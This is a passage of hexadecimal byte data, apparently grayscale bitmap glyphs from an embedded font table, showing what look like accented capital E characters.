0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x51, 0xFF, 0xFF, 0xFF, 0x80,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9B, 0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB1, 0xFF, 0xFF, 0xFF, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0xFF, 0xFF, 0xFF, 0x29, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF,
0xFF, 0xFF, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0xFF, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x5B, 0x5B, 0x5B, 0x13, 0x4E, 0xFF, 0xFF, 0xFF,
0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF,
0xFF, 0xFF, 0x33, 0x11, 0xFD, 0xFF, 0xFF, 0xF0, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0xFF, 0xFF, 0xED, 0x02, 0x00, 0xCE, 0xFF, 0xFF, 0xFF, 0x7D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xAD,
0x00, 0x00, 0x64, 0xFF, 0xFF, 0xFF, 0xED, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0C, 0xCE, 0xFF, 0xFF, 0xFF, 0x60, 0x00, 0x00, 0x05, 0xE1, 0xFF, 0xFF, 0xFF, 0xE4, 0x35,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xCC, 0xFF, 0xFF, 0xFF, 0xC6, 0x02, 0x00, 0x00,
0x00, 0x54, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x70, 0x27, 0x02, 0x00, 0x00, 0x14, 0x4D, 0xDC, 0xFF,
0xFF, 0xFF, 0xF7, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x83, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xF4, 0xD2, 0xDB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x83, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xD8, 0x33,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x25, 0xB6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xF5, 0x96, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x23, 0x56, 0xC1, 0xFF, 0xF1, 0x88, 0x58, 0x28, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xE1, 0xFF, 0xB3, 0x47, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0xFF, 0xEB, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x8C, 0x79, 0xDD, 0xFF, 0xFF, 0x89, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA6, 0x67, 0x65, 0xD6, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD3, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xDD, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x15, 0x5F, 0x89, 0xA3, 0x8E, 0x63, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x81, 0x81, 0x81, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x83, 0xFF, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x96, 0xFF, 0xFF, 0xE9, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xA6, 0xFF, 0xFF, 0x9C, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05,
0x95, 0xAF, 0xAC, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xAB, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xBF,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x82, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x9B, 0x63, 0x63, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x49, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xE7, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3,
0xD3, 0xD3, 0xD3, 0xD3, 0xA1, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x05, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x45,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x81, 0x81, 0x81,
0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06,
0xD6, 0xFF, 0xFF, 0xFB, 0x4D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFE, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0xF9, 0xFF, 0xFF, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xC2, 0xFF, 0xFF, 0x84, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0xAF, 0xAF,
0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xAB, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xBF,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x82, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x9B, 0x63, 0x63, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x49, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xE7, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3,
0xD3, 0xD3, 0xD3, 0xD3, 0xA1, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x05, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x45,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x65, 0x81, 0x81, 0x80, 0x10,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF,
0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x18, 0xEB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xB6, 0xFF, 0xFF, 0xA9, 0x53, 0xFF, 0xFF, 0xF0, 0x1F, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0xFF, 0xFF, 0xE4, 0x11, 0x00, 0x9F, 0xFF,
0xFF, 0xC2, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xAF, 0xAF, 0x40,
0x00, 0x00, 0x0D, 0xA7, 0xAF, 0xAF, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xAB, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xBF,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x82, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x9B, 0x63, 0x63, 0x63, 0x63,
0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x63, 0x49, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC9, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xE7, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3, 0xD3,
0xD3, 0xD3, 0xD3, 0xD3, 0xA1, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C,
0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x4C, 0x05, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x21, 0x45,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x8F, 0x8F, 0x8E, 0x0F, 0x00, 0x79, 0x8F,
0x8F, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF,
0x23, 0x00, 0xE2, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5C, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0xE2, 0xFF, 0xFF, 0x9D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0xFF, 0xFF, 0x23, 0x00, 0xE2, 0xFF, 0xFF, 0x9D, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x49, 0x49, 0x49, 0x05, 0x00, 0x3C, 0x49,
0x49, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xC8, 0xC8, 0xC8, 0xC8,
0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xC8, 0xAB, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE2, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0xBF, 0x99, 0x99, 0x99, 0x99,
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x82, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x52,
